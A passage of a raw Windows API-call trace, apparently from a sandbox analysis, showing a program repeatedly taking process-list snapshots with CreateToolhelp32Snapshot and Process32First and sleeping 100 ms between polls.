hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.897] Sleep (dwMilliseconds=0x64) [0236.945] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0236.988] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.057] Sleep (dwMilliseconds=0x64) [0237.058] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0237.069] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.171] Sleep (dwMilliseconds=0x64) [0237.180] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0237.217] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.386] Sleep (dwMilliseconds=0x64) [0237.388] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0237.402] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.501] Sleep (dwMilliseconds=0x64) [0237.504] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0237.515] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.582] Sleep (dwMilliseconds=0x64) [0237.584] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0237.635] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.773] Sleep (dwMilliseconds=0x64) [0237.813] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0237.825] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.967] Sleep (dwMilliseconds=0x64) [0237.977] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0237.989] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.079] Sleep (dwMilliseconds=0x64) [0238.090] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2158 [0238.103] Process32First (in: hSnapshot=0x2158, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.237] Sleep (dwMilliseconds=0x64) [0238.272] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0238.288] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.398] Sleep (dwMilliseconds=0x64) [0238.407] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0238.421] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.528] Sleep (dwMilliseconds=0x64) [0238.530] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0238.542] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.634] Sleep (dwMilliseconds=0x64) [0238.637] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0238.648] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.756] Sleep (dwMilliseconds=0x64) [0238.757] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0238.768] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.852] Sleep (dwMilliseconds=0x64) [0238.854] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0238.901] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.980] Sleep (dwMilliseconds=0x64) [0238.981] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0239.003] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.113] Sleep (dwMilliseconds=0x64) [0239.115] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0239.127] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.525] Sleep (dwMilliseconds=0x64) [0239.528] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0239.547] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.666] Sleep (dwMilliseconds=0x64) [0239.667] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0239.682] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.799] Sleep (dwMilliseconds=0x64) [0239.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0239.817] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.980] Sleep (dwMilliseconds=0x64) [0239.989] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0240.003] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.113] Sleep (dwMilliseconds=0x64) [0240.121] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0240.142] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.210] Sleep (dwMilliseconds=0x64) [0240.217] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0240.229] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.385] Sleep (dwMilliseconds=0x64) [0240.391] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0240.424] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.554] Sleep (dwMilliseconds=0x64) [0240.562] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0240.630] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.764] Sleep (dwMilliseconds=0x64) [0240.767] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0240.782] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.886] Sleep (dwMilliseconds=0x64) [0240.935] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0240.952] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.028] Sleep (dwMilliseconds=0x64) [0241.030] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0241.074] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.162] Sleep (dwMilliseconds=0x64) [0241.164] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0241.212] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.294] Sleep (dwMilliseconds=0x64) [0241.296] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0241.311] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.432] Sleep (dwMilliseconds=0x64) [0241.442] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0241.520] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.719] Sleep (dwMilliseconds=0x64) [0241.878] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0241.914] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.130] Sleep (dwMilliseconds=0x64) [0242.132] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0242.150] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.271] Sleep (dwMilliseconds=0x64) [0242.281] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0242.298] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.417] Sleep (dwMilliseconds=0x64) [0242.418] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0242.433] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.538] Sleep (dwMilliseconds=0x64) [0242.539] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0242.552] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.643] Sleep (dwMilliseconds=0x64) [0242.645] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11d0 [0242.657] Process32First (in: hSnapshot=0x11d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.744] Sleep (dwMilliseconds=0x64) [0242.746] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0242.758] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.849] Sleep (dwMilliseconds=0x64) [0242.858] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0242.870] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.025] Sleep (dwMilliseconds=0x64) [0243.027] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0243.042] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.150] Sleep (dwMilliseconds=0x64) [0243.153] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0243.167] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.235] Sleep (dwMilliseconds=0x64) [0243.236] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0243.287] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.390] Sleep (dwMilliseconds=0x64) [0243.401] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0243.424] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.539] Sleep (dwMilliseconds=0x64) [0243.545] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0243.611] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.683] Sleep (dwMilliseconds=0x64) [0243.692] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0243.705] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.792] Sleep (dwMilliseconds=0x64) [0243.797] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0243.810] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.950] Sleep (dwMilliseconds=0x64) [0244.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0244.015] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.120] Sleep (dwMilliseconds=0x64) [0244.122] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0244.134] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.241] Sleep (dwMilliseconds=0x64) [0244.243] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0244.297] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.361] Sleep (dwMilliseconds=0x64) [0244.372] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0244.391] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.490] Sleep (dwMilliseconds=0x64) [0244.492] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0244.505] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.600] Sleep (dwMilliseconds=0x64) [0244.609] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0244.622] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.689] Sleep (dwMilliseconds=0x64) [0244.698] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0244.741] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.809] Sleep (dwMilliseconds=0x64) [0244.810] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0244.822] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.981] Sleep (dwMilliseconds=0x64) [0244.983] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0244.996] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.125] Sleep (dwMilliseconds=0x64) [0245.233] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0245.249] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.463] Sleep (dwMilliseconds=0x64) [0245.464] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0245.495] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.640] Sleep (dwMilliseconds=0x64) [0245.642] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0245.660] Process32First (in: hSnapshot=0xa90, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.763] Sleep (dwMilliseconds=0x64) [0245.765] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d4 [0245.832] Process32First (in: hSnapshot=0x21d4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 